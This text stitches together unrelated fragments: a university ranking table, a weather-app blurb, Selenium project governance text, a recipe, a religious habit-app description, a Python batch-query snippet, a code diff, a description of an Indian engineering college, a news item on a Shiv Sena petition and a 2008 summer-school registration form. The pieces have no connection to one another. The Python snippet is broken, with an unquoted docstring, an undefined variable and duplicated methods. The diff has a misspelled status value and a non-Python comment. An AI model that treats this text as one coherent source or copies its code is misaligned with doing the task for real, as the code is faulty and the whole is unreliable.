| 401-500 | National Chiao Tung University | Asia/Pacific | China-tw |
| 401-500 | Universiti Kebangsaan Malaysia | Asia/Pacific | Malaysia |
| 401-500 | Northeast Normal University | Asia/Pacific | China |
| 401-500 | Novosibirsk State University | Europe | Russia |
| 401-500 | Ocean University of China | Asia/Pacific | China |
| 401-500 | Oklahoma State University | Americas | USA |
| 401-500 | Osaka City University | Asia/Pacific | Japan |
| 401-500 | Paris-Sorbonne University - Paris 4 | Europe | France |
| 401-500 | Peking Union Medical College | Asia/Pacific | China |
| 401-500 | Pusan National University | Asia/Pacific | South Korea |
| 401-500 | Rensselaer Polytechnic Institute | Americas | USA |
| 401-500 | RMIT University | Asia/Pacific | Australia |
| 401-500 | Saint Louis University | Americas | USA |
| 401-500 | San Diego State University | Americas | USA |
| 401-500 | Scuola Normale Superiore di Pisa | Europe | Italy |
| 401-500 | Simon Fraser University | Americas | Canada |
| 401-500 | St George's Hospital Medical School | Europe | UK |
| 401-500 | Stellenbosch University | Africas | South Africa |
| 401-500 | Stockholm School of Economics | Europe | Sweden |
| 401-500 | Swinburne University of Technology | Asia/Pacific | Australia |
| 401-500 | Technical University of Darmstadt | Europe | Germany |
| 401-500 | Texas Tech University | Americas | USA |
| 401-500 | The University of Texas Medical Branch at Galveston | Americas | USA |
| 401-500 | Tokyo University of Science | Asia/Pacific | Japan |
| 401-500 | State University of New York Albany | Americas | USA |
| 401-500 | University of Alaska Fairbanks | Americas | USA |
| 401-500 | University of Aveiro | Europe | Portugal |
| 401-500 | Bayreuth University | Europe | Germany |
| 401-500 | University of Bremen | Europe | Germany |
| 401-500 | State University of Campinas | Americas | Brazil |
| 401-500 | University of Central Florida | Americas | USA |
| 401-500 | University of Coimbra | Europe | Portugal |
| 401-500 | University of Duesseldorf | Europe | Germany |
| 401-500 | University of Ferrara | Europe | Italy |
| 401-500 | University of Hannover | Europe | Germany |
| 401-500 | University of Konstanz | Europe | Germany |
| 401-500 | University of KwaZulu-Natal | Africas | South Africa |
| 401-500 | University of Ljubljana | Europe | Slovenia |
| 401-500 | University of Malaya | Asia/Pacific | Malaysia |
| 401-500 | University of Manitoba | Americas | Canada |
| 401-500 | University of Minho | Europe | Portugal |
| 401-500 | University of Montana | Americas | USA |
| 401-500 | University of Nice Sophia Antipolis | Europe | France |
| 401-500 | University of Oulu | Europe | Finland |
| 401-500 | University of Palermo | Europe | Italy |
| 401-500 | University of Parma | Europe | Italy |
| 401-500 | University of Perugia | Europe | Italy |
| 401-500 | University of Potsdam | Europe | Germany |
| 401-500 | University of Regensburg | Europe | Germany |
| 401-500 | University of Rome II – Tor Vergata | Europe | Italy |
| 401-500 | University of Rostock | Europe | Germany |
| 401-500 | University of Salerno | Europe | Italy |
| 401-500 | University of Saskatchewan | Americas | Canada |
| 401-500 | Universiti Sains Malaysia | Asia/Pacific | Malaysia |
| 401-500 | University of Stuttgart | Europe | Germany |
| 401-500 | University of Surrey | Europe | UK |
| 401-500 | University of Tartu | Europe | Estonia |
| 401-500 | University of the Basque Country | Europe | Spain |
| 401-500 | University of Turku | Europe | Finland |
| 401-500 | University of Valencia | Europe | Spain |
| 401-500 | University of Versailles Saint-Quentin-en-Yvelines | Europe | France |
| 401-500 | University of Warsaw | Europe | Poland |
| 401-500 | University of Wyoming | Americas | USA |
| 401-500 | University of Zagreb | Europe | Croatia |
| 401-500 | University of Rovira i Virgili | Europe | Spain |
| 401-500 | Utah State University | Americas | USA |
| 401-500 | Vienna University of Technology | Europe | Austria |
| 401-500 | Vita-Salute San Raffaele University | Europe | Italy |
| 401-500 | Wake Forest University | Americas | USA |
| 401-500 | Waseda University | Asia/Pacific | Japan |
| 401-500 | Washington State University | Americas | USA |
| 401-500 | West Virginia University | Americas | USA |
| 401-500 | Wuhan University of Technology | Asia/Pacific | China |


New France Weather Dashboard
Open Weather Map API, Javascript, Jquery (AJAX), Moment JS, Skeleton CSS.
City Search
5-Day Forecast


--- title: Structure and Governance linkTitle: project aliases: [ "/pt-br/project/", "/zh-cn/project/", "/ja/project/", "/other/project/", ] --- {{< blocks/cover title="Project Structure and Governance" image_anchor="top" height="min" color="selenium-blue">}}
The Selenium Project is formed by a community of users and Open Source contributors who develop, use and promote the different Selenium projects (IDE, Grid, WebDriver) and other related activities, with the end goal of benefiting the community as a whole.
The Selenium Project wants as much as possible to operate using procedures that are fair, open, inviting, and ultimately good for the community. We want to make sure that no matter who you are, you have the opportunity to contribute to Selenium.
This page provides some links to pages describing the project structure and its governance.
{{< /blocks/cover >}}Governance Document - overview of the project’s governance model, philosophy, project roles, decision making process, etc.
Project Leadership Committee - the overall continuity and future of the project is overseen by this group
Technical Leadership Committee - technical decisions and roadmap of the Selenium project are governed by this group
Selenium Website & Docs Committers
Records of public meetings by leadership committee.


--- layout: post title: "SPORTS FEST" subtitle: "Get your bones ready !" date: 2019-09-18 13:35:00 +0800 background: '/img/bglogo.png' ---


def batch_query(self, X, n):
self.res = []
for q in X:
self.res.append(self.query(q, n))
def get_batch_results(self):
return self.res
def get_additional(self):
Provide all queries at once and let algorithm figure out
how to handle it. Default implementation uses a ThreadPool
to parallelize query processing.
pool = ThreadPool()
self.res = pool.map(lambda q: self.query(q, n), X)
def get_batch_results(self):
return self.res


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 4
Chicken stuffed with oozing melted cheese makes for a wonderfully indulgent supper.
Preheat the oven to 200C/180C Fan/Gas 6.
Cut a large pouch in each of the chicken breasts, using a small sharp knife.
Divide 100g/3½oz of the Parmesan and the mozzarella into 4. Pile the Parmesan on top of the mozzarella and wrap each pile with the prosciutto pieces. Stuff each chicken breast with the prosciutto-wrapped cheese and press down the edges of the breast so the pouch is sealed (you can use a cocktail stick to help secure it).
Sprinkle the flour onto a plate and season with salt and pepper. Beat the eggs in a bowl and sprinkle the breadcrumbs and remaining Parmesan on a separate plate. Dredge each cutlet in the flour, then dip into the eggs and coat in the cheese and breadcrumbs.
Heat a frying pan until hot, add the olive oil and fry the chicken for 2-3 minutes on each side, or until golden-brown. Transfer to a roasting tray and roast in the oven for 15-20 minutes until cooked through.
Meanwhile for the salads, to make the dressing whisk the egg yolk, Dijon mustard, red wine vinegar and 250ml/9fl oz water together in a bowl until combined. Gradually whisk in 1 tablespoon of the vegetable oil, whisking all the time, until emulsified. Season with salt and pepper. Place the red cabbage into a large bowl, then pour over 100ml/3½fl oz of the dressing and mix well.
Place the kale in a large bowl. Heat a small frying pan and add the remaining tablespoon of oil. Once hot add the cumin seeds. Once they start to jump remove from the heat and pour over the raw kale.
Put the chicken on serving plates and place the red cabbage and kale salads alongside.


Day after day, we are confronted with the battle of our lives. The LDS WAR app is designed to help you to "Gird up your loins" and "Put on the Armor of God" to empower you to fight the daily battles we face against the advasary.
By establishing goals and tracking our results, we are able to establish healthy and positive habits that improves our spiritual strength.
There are daily lessons available that give a dose of the spirit.
By encouraging us to share our experiences, the Wake And Rise app helps bring us together to bond and lift each other up.
The ultimate rewards for doing this program are all spiritual. To help you keep track of your progress, we have Wake And Rise Points.


This will search Stack Exchange questions for given title text.
Enter your search text and click the icon or press the Enter key. A list of matching questions will be shown.
After that, you can click on a question to see the answers.
Full source available at https://github.com/angularexample/angular-8-example-app


Before Change
res = host.check_status(tasks)
if all(x.startswith("completed") for x in res):
return host.retrieve_results(tasks)
elif all(x in ("running", "submitted") for x in res if not x.startswith("completed")) and not env.config["wait_for_task"]:
raise PendingTasks(tasks)
elif any(x in ("pending", "running", "failed-old", "failed-missing-output", "failed-old-missing-output") for x in res):
continue
After Change
if all(x in ("completed", "failed", "abored", "result-mismatch") for x in res):
return host.retrieve_results(tasks)
// no pending
elif all(x != "pending" for x in res) and not env.config["wait_for_task"]:
raise PendingTasks([x for x,y in zip(tasks, res) if y == "running"])
time.sleep(1)
def run(self):


The Government College of Engineering, Salem in Salem, Tamil Nadu, India, is an engineering education center in the state of Tamil Nadu. It is one of the three institutions offering Metallurgical Engineering as a full-time course in Tamil Nadu.
GCE-Salem was started during the Third Plan period in 1966 and is located on a beautiful site surrounded by hills. Its area is 1.62 square kilometres (400 acres). This is the third government engineering institution formed in Tamil Nadu. The first batch of students was selected for 1966 for courses in Civil Engineering, Mechanical Engineering and Electrical Engineering. In 1973 the metallurgical engineering branch was started. The Electronics Engineering and Communication Engineering branch was introduced in 1985. Computer science and engineering was started in 2001. All the undergraduate courses except Computer Science and Engineering are accredited by NBA.
The Principal, Dr. R.S.D. Wahida Banu says: "A teacher affects eternity. No one can tell where his influence stops"
Affiliations
The institute was affiliated to the University of Madras until 2001. After a brief affiliation with Periyar University, it was a constituent college of Anna University which is a statewide centralized engineering university. From the year of 2009, GCE salem has been promoted as one of the Autonomous Engineering Colleges in Tamil Nadu.
The college is a Regional Centre for Anna University for Ph.D. and M.S., programmes. It is the zonal office for the conduct of Anna University Examinations in the 21 colleges belonging to this zone. The institution is one of the eleven technical institutions of Tamil Nadu selected for World Bank financial assistance under Technical Education Quality Improvement Programme (TEQIP). The institution has received an approval for a sum of Rs. 10.967 crores as lifetime allocation for the project implementation spread over a period of four years from 2003 to 2007.
Buildings
The Administrative block or Main block is the capital of the College. The streams of Engineering have dedicated buildings. All the Engineering departments are equipped with technologies aided by funding from World Bank through Technical Education Quality Improvement Program (TEQIP). In TEQIP Phase II ( from 2011-2014), the institution has received Rs.12 crore for enhancing research activities.
Admission
Admission to the institute is through single window counselling system of Anna University. Undergraduate students are selected based on competitive student rankings in higher secondary examination and then subjected to counselling.
Postgraduate students are selected based on competitive rankings in Tamil Nadu Common Entrance Test (TANCET)
courses offered:
Administrative Block
Civil Engineering
Mechanical Engineering
Electronics and Communication Engineering
Electrical and Electronics Engineering
Computer Science and Engineering
Metallurgical Engineering
Physics department
Chemistry
Mathematics
English
Physical Education
Library
Digital Library
Master courses
Structural Engineering
CAD
Thermal Engineering
Power Electronics and Drives
Welding Technology
CONTACTS
0427 - 2346157
0427 - 2346157/2346102
gcesalem.edu@gmail.com/principal@gcesalem.edu.in


SC registry yet to decide on listing of Shiv Sena's petition for hearing
The official said that the decision to place the matter before the CJI will be taken only after the defects are cured
by Press Trust of IndiaThe Supreme Court registry is yet to take a call on placing the petition filed by the Shiv Sena before Chief Justice of India Ranjan Gogoi on their plea for according an urgent hearing on Tuesday itself.
An official source told PTI that there is some defect in the petition and the judicial branch of the the apex court registry is working with the advocate-on-record who has filed the petition to cure the defect.
The official said that the decision to place the matter before the CJI will be taken only after the defects are cured.
The Shiv Sena on Tuesday moved the SC challenging the Maharashtra governor's decision of not granting it the three days to submit the letter of support for government formation in the state.
A party lawyer said the Shiv Sena will file a second petition in the SC if President's rule is imposed in the state.


REGISTRATION
REGISTRATION
The school and lectures will be held at the Majestic Plaza Hotel in Prague. Registration is all inclusive, 6 nights at the Plaza, breakfast, lunch and breaks as well as a conference dinner and a cultural outing.
Full registration is €900, with €100 additional fee for a single room. The price of the school without accommodation is €500.
Thanks to generous donations from Microsoft, Intel and IBM, between 20 and 30 grants will be available.
The school is targeted at doctoral students and researchers in areas related to programming concurrent systems. Time will be allocated for student presentations. Applicants should indicate their research area in their application, preference will be given to student working in the field.
The deadline for application for a grant is March 28, 2008. There is a 40 person limit on the number of participants, late applications will be considered only if there is room.
Microsoft grants are restricted to students from Eastern Europe.
Please fill the following form and return it by email to tic08.
Second International Summer School on Trends in Concurrency.
TiC'08 Application Form
First Name:
Last Name:
Sex (M/F):
Date of birth:
Place of birth:
Nationality:
Position:
Affiliation:
Address:
City/State:
Country:
E-mail Address:
Fax:
Please select one:
[__] I request no grant.
[__] I request an Intel grant
[__] I request an Microsoft grant (Eastern Europe only)
[__] I request an Intel and a Microsoft grant
[__] I request a single room
[__] I register for school only/no accommodations
Advisor:
Institution:
E-mail:
Attach
*a Curriculum vitae
*a one page description of your research and
*a short letter of support from your advisor.
Prague, Czech Republic
June 22 - 27
Sponsored by


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